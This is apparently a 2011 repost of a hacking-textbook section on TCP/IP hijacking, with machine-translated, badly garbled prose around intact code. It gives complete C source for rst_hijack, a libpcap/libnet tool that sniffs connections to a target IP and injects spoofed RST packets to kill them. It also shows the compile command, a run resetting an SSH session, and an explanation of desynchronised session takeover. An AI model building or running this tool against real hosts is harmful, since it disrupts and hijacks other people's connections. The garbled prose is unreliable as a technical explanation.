TCP / IP Hijacking

15/08/2011 09:36

TCP / IP hijacking is a clever technique that uses spoofed packets to take

connection between a victim and a host machine. This technique is unusual

useful when the victim uses a password once to connect to the host

machine. A password only once can be used to authenticate once,

This means that sniff the approval is not necessary for the attacker.

You can run over TCP / IP hijacking attack, the attacker has the same

network as a victim. Sniffing the local network segment, all the details

open TCP connections can be drawn from the headers. As we have seen,

Each TCP packet contains a sequence number in the head. This sequence

number increases with each packet sent to ensure that packages are

received in the correct order. While sniffing, the attacker has access to

sequence numbers of connection to the victim
and a host machine . Then the attacker sends a

spoofed packet from the victim's IP address from the host computer

sniffed sequence number to the number of correct recognition,
The host will receive the spoofed packet with the proper

recognition of numbers and there is no reason to believe, does not become

from the victim machine.

RST Capture -----

Really Simple TCP / IP Hijacking linked to injecting authentic-looking

reset (RST) packets. If the source is false and the confirmation number

is correct, the receiving side, believes that the source actually sent the reset

package, and the connection will be reset.

Imagine a program that will run this attack on a destination IP address. At a high level,

use libpcap to sniff and inject RST packets using libnet. Such

The program does not need to look at every packet, but only on established TCP

connections to the destination IP address. Many other programs that use libpcap not

must look at all packets to libpcap provides a way to tell the kernel

send only certain packets that match a filter. This filter, called Berkeley

Packet Filter (BPF), is very similar to the program. For example, a filter rule

to filter on destination IP of 192.168.42.88 is "host 192.168.42.88 DST". As

a program, it is usually of keywords and must be compiled before it is

actually sent to the nucleus. Tcpdump program is used to filter what BPFs

prisoners, and it also allows a state to empty the filter program.
reader@hacking:~/booksrc $ sudo tcpdump -d "dst host 192.168.42.88"
(000) ldh [12]
(001) jeq #0x800 jt 2 jf 4
(002) ld [30]
(003) jeq #0xc0a82a58 jt 8 jf 9
(004) jeq #0x806 jt 6 jf 5
(005) jeq #0x8035 jt 6 jf 9
(006) ld [38]
(007) jeq #0xc0a82a58 jt 8 jf 9
(008) ret #96
(009) ret #0
reader@hacking:~/booksrc $ sudo tcpdump -ddd "dst host 192.168.42.88"
10
40 0 0 12
21 0 2 2048
32 0 0 30
21 4 5 3232246360
21 1 0 2054
21 0 3 32821
32 0 0 38
21 0 1 3232246360
6 0 0 96
6 0 0 0
reader@hacking:~
When the filter rule is translated, it can be to convey the core filter.

Connection filtering is set a little more complicated. All

relationships will set the ACK flag, so that's what we should

search. TCP flags are in the 13 byte TCP header. The flags are in the following order from left to right: URG, ACK, PSH,

RST, SYN and FIN. This means that if the ACK flag is set, 13

octet would be 00010000 in binary, which is 16 in decimal. If SYN and

ACK lit, octet 13 is 00010010 in binary, which is 18

decimal number.

In order to create a filter, which corresponds to the ACK flag is

without worrying about any of the other bits are the bitwise AND operator is used.

UNDERSTANDING 00010010 00010000 00010000 when produce with the ACK bit is

only slightly when both bits are 1. This means that a filter TCP [13] == 16 and 16

packets with the ACK flag is on, regardless of

space for the remaining flags.

This filtering rule can be written using the name value and the inverted logic, because

tcp [tcpflags] & tcp-ACK! = 0 This is easier to read, but still offers the same

result. This rule can be combined with the previous standard destination IP

and logic, the entire rule is shown below.
reader@hacking:~/booksrc $ sudo tcpdump -nl "tcp[tcpflags] & tcp-ack != 0 and dst host
192.168.42.88"
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
10:19:47.567378 IP 192.168.42.72.40238 > 192.168.42.88.22: . ack 2777534975 win 92
<nop,nop,timestamp 85838571 0>
10:19:47.770276 IP 192.168.42.72.40238 > 192.168.42.88.22: . ack 22 win 92 <nop,nop,timestamp
85838621 29399>
10:19:47.770322 IP 192.168.42.72.40238 > 192.168.42.88.22: P 0:20(20) ack 22 win 92
<nop,nop,timestamp 85838621 29399>
10:19:47.771536 IP 192.168.42.72.40238 > 192.168.42.88.22: P 20:732(712) ack 766 win 115
<nop,nop,timestamp 85838622 29399>
10:19:47.918866 IP 192.168.42.72.40238 > 192.168.42.88.22: P 732:756(24) ack 766 win 115
<nop,nop,timestamp 85838659 29402>
A similar rule is used to filter the following program packages

libpcap sniffing. When the program receives a header packet

used to spoof a RST packet. This program will be explained as shown
rst_hijack.c--------------------------
#include <libnet.h>
#include <pcap.h>
#include "hacking.h"
void caught_packet(u_char *, const struct pcap_pkthdr *, const u_char *);
int set_packet_filter(pcap_t *, struct in_addr *);
struct data_pass {
int libnet_handle;
u_char *packet;
};
int main(int argc, char *argv[]) {
struct pcap_pkthdr cap_header;
const u_char *packet, *pkt_data;
pcap_t *pcap_handle;
char errbuf[PCAP_ERRBUF_SIZE]; // Same size as LIBNET_ERRBUF_SIZE
char *device;
u_long target_ip;
int network;
struct data_pass critical_libnet_data;
if(argc < 1) {
printf("Usage: %s <target IP>\n", argv[0]);
exit(0);
}
target_ip = libnet_name_resolve(argv[1], LIBNET_RESOLVE);
if (target_ip == -1)
fatal("Invalid target address");
device = pcap_lookupdev(errbuf);
if(device == NULL)
fatal(errbuf);
pcap_handle = pcap_open_live(device, 128, 1, 0, errbuf);
if(pcap_handle == NULL)
fatal(errbuf);
critical_libnet_data.libnet_handle = libnet_open_raw_sock(IPPROTO_RAW);
if(critical_libnet_data.libnet_handle == -1)
libnet_error(LIBNET_ERR_FATAL, "can't open network interface. -- this program must run
as root.\n");
libnet_init_packet(LIBNET_IP_H + LIBNET_TCP_H, &(critical_libnet_data.packet));
if (critical_libnet_data.packet == NULL)
libnet_error(LIBNET_ERR_FATAL, "can't initialize packet memory.\n");
libnet_seed_prand();
set_packet_filter(pcap_handle, (struct in_addr *)&target_ip);
printf("Resetting all TCP connections to %s on %s\n", argv[1], device);
pcap_loop(pcap_handle, -1, caught_packet, (u_char *)&critical_libnet_data);
pcap_close(pcap_handle);
}
Most of this program must make sense for you. At first

data_pass structure is defined, which is used to transmit data via the libpcap

call requested. libnet interface used to open raw sockets and shares

memory. The descriptor file for the making of premiums and a pointer to the packet

The memory callback function is required, so that critical information is libnet

stored in a structure. Pcap_loop The final argument () is user

pointer that is passed directly to the callback function. By sending a pointer

critical_libnet_data structure, function call will have access to

All of this structure. Even length value is used pcap_open_live shooting ()

4096-128 has been reduced, because the information is necessary

Package is just in the headlines.
/* Sets a packet filter to look for established TCP connections to target_ip */
int set_packet_filter(pcap_t *pcap_hdl, struct in_addr *target_ip) {
struct bpf_program filter;
char filter_string[100];
sprintf(filter_string, "tcp[tcpflags] & tcp-ack != 0 and dst host %s", inet_ntoa(*target_ip));
printf("DEBUG: filter string is \'%s\'\n", filter_string);
if(pcap_compile(pcap_hdl, &filter, filter_string, 0, 0) == -1)
fatal("pcap_compile failed");
if(pcap_setfilter(pcap_hdl, &filter) == -1)
fatal("pcap_setfilter failed");
}
The next function compiles and sets the BPF to only accept packets from
established connections to the target IP. The sprintf() function is just a printf()
that prints to a string.
void caught_packet(u_char *user_args, const struct pcap_pkthdr *cap_header, const u_char
*packet) {
u_char *pkt_data;
struct libnet_ip_hdr *IPhdr;
struct libnet_tcp_hdr *TCPhdr;
struct data_pass *passed;
int bcount;
passed = (struct data_pass *) user_args; // Pass data using a pointer to a struct.
IPhdr = (struct libnet_ip_hdr *) (packet + LIBNET_ETH_H);
TCPhdr = (struct libnet_tcp_hdr *) (packet + LIBNET_ETH_H + LIBNET_TCP_H);
printf("resetting TCP connection from %s:%d ",
inet_ntoa(IPhdr->ip_src), htons(TCPhdr->th_sport));
printf("<---> %s:%d\n",
inet_ntoa(IPhdr->ip_dst), htons(TCPhdr->th_dport));
libnet_build_ip(LIBNET_TCP_H, // Size of the packet sans IP header
IPTOS_LOWDELAY, // IP tos
libnet_get_prand(LIBNET_PRu16), // IP ID (randomized)
0, // Frag stuff
libnet_get_prand(LIBNET_PR8), // TTL (randomized)
IPPROTO_TCP, // Transport protocol
*((u_long *)&(IPhdr->ip_dst)), // Source IP (pretend we are dst)
*((u_long *)&(IPhdr->ip_src)), // Destination IP (send back to src)
NULL, // Payload (none)
0, // Payload length
passed->packet); // Packet header memory
libnet_build_tcp(htons(TCPhdr->th_dport), // Source TCP port (pretend we are dst)
htons(TCPhdr->th_sport), // Destination TCP port (send back to src)
htonl(TCPhdr->th_ack), // Sequence number (use previous ack)
libnet_get_prand(LIBNET_PRu32), // Acknowledgement number (randomized)
TH_RST, // Control flags (RST flag set only)
libnet_get_prand(LIBNET_PRu16), // Window size (randomized)
0, // Urgent pointer
NULL, // Payload (none)
0, // Payload length
(passed->packet) + LIBNET_IP_H);// Packet header memory
if (libnet_do_checksum(passed->packet, IPPROTO_TCP, LIBNET_TCP_H) == -1)
libnet_error(LIBNET_ERR_FATAL, "can't compute checksum\n");
bcount = libnet_write_ip(passed->libnet_handle, passed->packet, LIBNET_IP_H+LIBNET_TCP_H);
if (bcount < LIBNET_IP_H + LIBNET_TCP_H)
libnet_error(LIBNET_ERR_WARNING, "Warning: Incomplete packet written.");
usleep(5000); // pause slightly
}
The callback parodies of RST packets. The first data libnet critical

recovered, and references to IP and TCP headers are set using the structures

Included with libnet. We could use our own structures network.h piracy

libnet but the facilities are already in place and to compensate the host

byte order. The RST packet uses spoofed source address that sniffed

destination and vice versa. The sequence number is used as sniffed

spoofed packet acknowledgment number because it is what is expected.
reader@hacking:~/booksrc $ gcc $(libnet-config --defines) -o rst_hijack rst_hijack.c -lnet -lpcap
reader@hacking:~/booksrc $ sudo ./rst_hijack 192.168.42.88
DEBUG: filter string is 'tcp[tcpflags] & tcp-ack != 0 and dst host 192.168.42.88'
Resetting all TCP connections to 192.168.42.88 on eth0
resetting TCP connection from 192.168.42.72:47783 <---> 192.168.42.88:22
Following Diversion

The package does not have to fake being a RST packet. This attack is

more interesting when the packet contains data parody. Home team

Counterfeit hosting package, increases the sequence number, and answers

the victim's IP. From the victim's machine does not know the false

package, the response of the host machine has an incorrect sequence number, so

the victim ignores the response packet. And when the victim's computer

ignore response packet from the host machine, the sequence number of the victim

account is disabled. Therefore, any package of the victim is sent to the machine

will have a bad serial number and causing the host machine

ignore it. In this case, both sides have legitimate connection

incorrect sequence numbers, resulting in a synchronized state. And since

The attacker sends the first packet that caused false all this chaos, you can

follow the sequence of numbers and continue to scam packages

the IP address of the victim to the host machine. This allows the attacker to continue to

with the host when the connection to the victim stops.